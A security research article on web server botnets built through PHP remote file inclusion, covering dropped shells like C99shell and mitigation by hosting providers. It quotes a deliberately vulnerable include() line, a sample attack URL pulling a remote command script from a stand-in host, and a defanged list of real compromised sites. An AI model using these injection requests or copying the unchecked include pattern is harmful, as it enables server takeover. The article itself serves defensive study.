Web server botnets and hosting farms as attack platforms

Malicious programs, including bots, often incorporate a spreading mechanism that may be based either on software vulnerabilities exploiting the operating system, the applications running on it or on social engineering tricks, which exploit the gullibility of the user. However, the malware itself is, in most cases, operating system specific.

However, where web server malware is concerned, the application is attacked first and only later is the operating system examined to determine how further exploitation can be achieved. Another difference with web server malware concerns the type of exploits used for propagation and infection.

In terms of technology, web server malware utilizes known methods, from using search engines such as Google to propagate, to infection utilizing file inclusion vulnerabilities, also known as Remote File Inclusion (RFI). What is new is the sheer scale of the problem, which has not been thoroughly documented until now. Currently, anti-virus software detects only a small percentage of web server-infecting malware, and literature on the subject of file inclusion and PHP shells is readily available.

Over the past two years, several web server malware attacks have been noted. A good example is the Santy worm, which spread through the use of Google. However, Santy is long behind us and today there are hundreds of samples of web server malware being spread on the Internet. A recent example is SpamThru, in which a well-known web shell was used for spamming (see http://www.secureworks.com/analysis/spamthru/).

Web server malware is not platform-dependent but relies on scripting languages such as PHP, ASP and Perl that are interpreted by the web daemon. This enables the malware to execute on any environment that supports scripting languages – meaning Apache, IIS and other web daemons on Windows, Linux or any other operating system.

Web server malware, typically in the form of PHP shells, may be used to establish a foothold for the general exploitation of the server in question, or to compromise the server for specific purposes ranging from DDoS to spamming. Some more advanced uses include the construction of botnet armies from these web servers (which represents a major difference from the botnets we have seen in the past, which were made up mainly of home-user broadband computers). More disturbing is the fact that these botnets are now also constructed as ‘Linux botnets’ or ‘IIS botnets’, with entire armies of high-bandwidth business customers or production servers ready to wage war or deal in online criminal activity.

Web server-based malware is as arbitrary in propagation as any other, with one significant difference: the victim pool is pre-selected ahead of time. Searching for strings such as ‘Powered by phpBB’ in Google search quickly identifies servers running web applications such as the phpBB forum system.

Figure 1. PHP malware that searches for vulnerable websites via Google and MSN.

For the most part, these searches target PHP applications. One reason for this is that PHP applications tend to have security vulnerabilities in far higher numbers than applications built in other languages. More importantly, the large number of open source PHP web applications available for download on the Internet makes these applications very accessible.

Each of the web servers found to be running or suspected of running the searched-for web applications will be attacked and, if vulnerable, malware will be injected into them. In some cases, web servers will be arbitrary choices and attacked regardless of the search engine results. Attempts to reach the web application’s vulnerable code will be made blindly, sending an HTTP request to the web server in the hope that phpBB (for example) is installed, is vulnerable and that the default directory path was used.

In most cases, malicious code is injected into a web server system via a file inclusion attack.

File inclusions are vulnerabilities in web applications that allow an attacker to execute a script by including it in an existing script. For example, the include() function in PHP can be used, providing a URL into an unchecked variable called arbitrarily in an include statement, followed by the execution of the included script.

The following PHP code allows the server to act like a client and request a file specified by the user:

<?php include ($_GET[page]); ?>

The following HTTP request shows how an attack could take place against that PHP code:

index.php?page=http://badguy.tld/malware.cmd?cmd=ls

Other types of vulnerability in web applications are also used, including URL parsing code execution vulnerabilities, POST vulnerabilities and arbitrary file upload vulnerabilities.

In essence, a script that is downloaded (or uploaded, depending on the vulnerability) can be used to do anything it is programmed to do, with the privileges of the web daemon.

In the past few months alone dozens of file inclusion attacks have been disclosed publicly. Effectively, a web application’s vulnerability serves as a remote exploit for attacking the web server. In one recent case, a group kept a list of hundreds of compromised web servers with their exploit command in a list of URLs, and referred to them as ‘shells’:

                OwneD By [GaspeR]‘-
                Group ShellBR

Server: irc.undernet.org

Canal: #ShellBR

Aconcelho a Quem For Testar As Shell‘s Que mude As Cmd‘s !

hxxp://wxw.che.yzu.edu.tw/Menu12/index.php?id=hxxp://shellbr.by.ru/cmd.txt?

hxxp://wxw.cheapcheapsale.com/index.php3?function=hxxp://shellbr.by.ru/cmd.txt?

hxxp://wxw.chentaiji.pl/index.php?id=hxxp://shellbr.by.ru/cmd.txt?

hxxp://wxw.chessitc.com/index.php?pagina=hxxp://shellbr.by.ru/cmd.txt?

..

Once compromised, a system will often be injected with further malware, such as scripting tools or binaries.

On a Linux system, ELF malware based on the likes of Kaiten can be uploaded, and on a Windows system, PE malware such as Agobot or Rbot may be uploaded. In most cases an assortment of malware is dropped rather than individual samples.

For example, in one case RST-b was uploaded to a Linux-based server disguised as the legitimate application sshd (or sshd was merely infected with it) while the legitimate IRC bot EnergyMech was also uploaded and connected to the command and control server of the botnet in question. This is similar to how some botnet controllers from the Windows realm work: a legitimate IRC client, such as mIRC, is uploaded along with malicious scripts. This used to be very commonplace in the Windows botnet scene. In the very early days of botnets regular IRC bots such as EnergyMech or Eggdrop became malicious when loaded with harmful scripts.

One function of the dropped PHP shells is database dumping, which is one of the primary goals of some of these groups. Since PHP is often the primary choice of web database interfaces, this type of attack goes hand-in-hand with web server malware. In the case of SpamThru, the spammer was using R57shell to steal databases in order to obtain targeted email addresses (hacking into investment news sites). However, some of the databases they obtained actually contained stored credit card numbers from a payment system. Some interesting statistics can be found at http://www.secureworks.com/analysis/spamthru-stats/.

There are several main groups of script ‘tools’ which are typically uploaded using these attacks:

In our research, we looked into over 250 unique scripting malware sample variants. Of these, we found 34 main source families. The most common of these families were:

We examined C99shell in a little more detail and found that it was created by ‘tristram [CCTeaM - Captain Crunch Security Team]’. It is a remote hacking console and has a number of features, which include the ability to list host information, provide a directory listing and execute the following shell commands:

C99shell can also perform the following operations: search file (using regexp), upload file, create directory, download/open a file and create a text file.

As millions of web servers running web applications are at risk, and thousands are being defaced every month, this is a serious threat.

Most at risk are ISPs with hosting farms and colocation facilities. Their services are built to be cheap and provide low-cost, hassle-free hosting services. When even one website out of 3,000 on a shared hosting server is compromised because of a web application any user may have installed, the entire server can be compromised and all websites hosted on that server can be defaced.

Controlling what applications users install is not feasible, and monitoring these and patching them for the latest security vulnerability is virtually impossible, even if patches are available. The low cost of these services also means that ISPs cannot afford to intervene in security and enforcement issues. Dealing with anything other than routine maintenance may mean operating at a monetary loss for several billing cycles.

Some solutions that have been suggested include vulnerability assessment scanning of the servers. Indeed, vulnerability scanning solutions can detect and alert when some web applications are vulnerable. This alone cannot prevent these attacks, but will help minimize the risk and allow resources to be concentrated on those hosts that are known to be vulnerable. Other possible solutions include running the services within virtual or chrooted environments, which offers a limited, more costly, solution.

The authors of this article have heard of some cases in which ISPs quietly patched some of the more notorious web applications without their clients ever finding out.

None of these solutions is the silver bullet.

Another important issue is the treatment by some of web vulnerabilities as ‘less critical’ or ‘kiddie vulnerabilities’. File inclusion attacks, for instance, are equivalent in effect to code execution and should not be underplayed or ignored.

Some non-application-specific solutions include a combination of research and operational mitigation. As an example, research into web honeypots for file inclusion attacks can pinpoint attacks and offer a variety of options, for example:

An on-access anti-virus scanner would significantly slow down a production web server, making it impractical to run, even if it runs on a platform on which the anti-virus can operate locally or remotely. An on-demand scanner, however, would be able to pinpoint potentially compromised accounts.

At the time of publication of this article, The Web Honeynet Task Force (not to be confused with The Honeynet Project) is set to begin operation (see http://www.webhoneynet.com/).

The Web Honeynet Task Force reports hundreds of file inclusion attempts detected every day with dozens of new malicious URLs hosting the malware. The task force, which has been established by Gadi Evron and is run by the ISOTF and SecuriTeam, offers free samples to any trusted member of the ISOTF communities through the MWP (malicious websites and phishing) group. The task force also shares openly with any trusted new member of the honeynet which submits honeypot information.

Currently, the task force reports that most attempts originate from the same IP addresses (when looking at aggregated data over time). This world of web server attacks currently stands relatively unopposed on the Internet. It is time now to start escalating the detection and mitigation of this threat – clearly, tools and response mechanisms need to be put in place to combat the bad guys on this front.

General security best practices are also of importance and should not be ignored. For example, a secure web server should not allow web surfing and outgoing connections to HTTP or FTP servers. This way, it may still be vulnerable but, when attacked it will not be able to download the malicious code. Another best practice that should be followed is the hardening of your web server software and related software. For example, PHP has an option to disallow treating URLs as files. This should be set to off if it does not disturb your application. As these types of attacks are web server specific, it is also wise to avoid storing sensitive information where a web server can access such as a database, whether local or remote. Although these solutions are far from perfect, and the bad guys can adapt their methods to work around them, different layered approaches can help mitigate the threat.

For more details on the Web Honeynet Task Force readers should visit http://www.webhoneynet.com/ or http://isotf.org/.